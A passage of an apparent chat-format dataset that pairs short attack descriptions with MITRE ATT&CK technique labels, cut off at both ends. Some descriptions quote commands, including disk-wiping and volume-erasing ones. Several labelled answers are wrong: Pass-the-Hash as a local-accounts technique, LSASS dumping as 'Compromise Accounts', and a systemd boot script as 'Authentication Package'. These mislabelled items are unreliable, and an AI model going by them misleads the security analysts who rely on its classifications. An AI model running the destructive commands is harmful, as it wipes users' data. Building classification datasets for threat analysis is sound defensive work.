                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edit the Group Policy to add a startup script that exfiltrates user data to an external server."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilized a staged PowerShell command to download a remote script via FTP and execute it on the target workstation."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious service, the attacker calls the API InitiateSystemShutdownEx to trigger a system shutdown with a custom warning message."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new domain name to host malicious payloads and command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a Google Drive account and share a malicious executable in a folder, tricking collaborators into executing the file."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan creates a hidden cron job that extracts SSH private keys and sends them to a remote server using SCP."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals generate a new Dropbox account to store stolen files and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting up an unauthorized domain controller, the intruder gains the ability to modify Group Policy objects and push malicious configurations."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the Kubernetes scheduler by creating a pod with a cron-like init container that periodically contacts a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework employed WMI to spawn a hidden PowerShell instance that downloaded additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages third‑party threat intelligence platforms to retrieve DNS and WHOIS data about the target's domain, including IP ranges and associated services."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accessed the victim's iCloud Drive, enumerated folders, and transferred files to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool adds a new user via PowerShell's New-LocalUser cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing credentials, the ransomware executed 'cipher /w:C:' to wipe free space on Windows."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses advanced search operators to locate repository README files that disclose internal network diagrams."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary obtains a local account's password hash and authenticates to the system via Pass-the-Hash technique."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a Helm chart to install a cronjob in a Kubernetes cluster that downloads ransomware."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system runs \"echo %USERPROFILE%\" to locate the home directory of the logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a disguised external hard drive to collect and smuggle out proprietary code."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries rename a malicious executable to \"winlogon.exe\" and configure it to run as a startup service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script executes a loop to fill each sector of the target disk with zeros before reboot."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑dumping tool is used to harvest NTLM hashes which are then used to log into the victim’s mail server and pull all inbox items."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised FTP account was used to upload a new index.php that displays a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects code into a legitimate process to capture input events from the raw input device."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan disguises its network traffic by encoding payloads as DNS TXT records with Base64 content."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set utilizes SSH key-based authentication to move laterally across UNIX systems."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up a TLS-encrypted socket to communicate with its back‑door server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies system proxy settings to point to a remote proxy, enabling stolen data exfiltration without triggering outbound firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new cron entry that runs a malicious payload every hour to maintain persistence on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a COM-based channel to interact with the Windows Management Instrumentation service, transmitting code for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a command that spawns a container running a credential dumping tool on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the launch of a trusted service, the attacker spawns its malware as a child of that service, making it blend into normal system processes."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initial compromise, the group sets up an encrypted SSH channel for command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uploads exfiltrated data to a remote Mega.nz account."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer modifies the system PATH variable to include a directory containing a trojan that runs with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API OpenThread and QueueUserAPC, the malware injects its code into a system process, achieving persistence through APC execution."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sets up an automatic email forwarding rule in Exchange to route internal communications to an external server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers target the unsecured Docker Remote API to enumerate and harvest stored registry authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable service to write a malicious executable onto a network share, enabling it to be run on additional hosts."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the OS credential store API to list all saved credentials, then writes them to a temporary file for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a form region in Outlook that contains a hidden embedded executable, which runs during the Outlook client startup sequence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits the Pre-OS Boot environment by delivering a compromised bootloader over TFTP."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group exfiltrates the NTDS.dit and SYSTEM registry hive, then uses the NTDSUtil tool to reconstruct and dump credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor extracts and decrypts the 'Login Data' file from the Chrome profile using the DPAPI to retrieve credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan sends periodic HTTP HEAD requests containing encoded command data in the header."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the system's MAC address patterns, looking for OUI prefixes associated with virtual NICs (e.g., 00:05:69 for VMware)."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a symmetric cipher to wrap its exfiltration traffic, creating an encrypted channel that blends with normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the 'crontab -e' command to persist a backdoor by running it daily."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a malicious PowerShell script to copy harvested credentials and confidential documents to a personal Dropbox account for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the macOS 'diskutil eraseVolume' command to reformat the main volume, erasing all user data in the process."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abuses APC queueing to inject malicious DLLs into a running service, allowing code execution with the service's privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary restored an AWS EC2 instance from a saved snapshot, effectively undoing the instance termination performed by defenders."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat used malicious VPN routing configurations to funnel corporate traffic through an offshore server for interception."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit misconfigured serverless APIs to exfiltrate data and execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor registers a custom COM class and later accesses it from a separate process to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deliver a malicious PDF exploit that leverages a zero‑day in Adobe Reader to run arbitrary commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the MSBuild proxy execution technique by embedding a hidden cmd.exe command within the <Exec> element of a build script."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Bash script is set to run at boot via the systemd service on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary places a malicious DLL in a directory that is searched before the legitimate library path, causing the victim application to load the rogue code."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a malicious .targets file, the adversary causes msbuild.exe to execute code during the build process on the target host."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors launch a rapid succession of SMB requests to a file-sharing service, saturating its thread pool and causing legitimate file operations to fail."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate credential dumps using the Exfiltration Over Web Services technique, specifically via a malicious OneDrive link."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace the legitimate tsclient.dll used by Terminal Services with a backdoored version to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool shreds and reassembles logs using custom encoding to obscure activity traces."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employed legitimate user accounts from the domain to bypass authentication mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set uses a script to delete all Linux LVM snapshots and disables automated backup services to hinder system recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts reconnaissance by harvesting the target company's public website, extracting email addresses and employee names to build a contact list."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa to discover the password history settings."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload a custom exploitation framework to the target via a compromised cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Windows Service Registry permissions to change service binary path."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the PowerShell cmdlet `Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*` to collect software inventory."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set sets up an external proxy chain to anonymize command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits weak firewall rules on a VPS to gain remote code execution, then uses the server to pivot into the victim's internal systems."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping tools are used to extract password hashes from the LSASS process on compromised workstations."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured SSH daemon to execute arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a reverse proxy that encrypts all outbound traffic to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
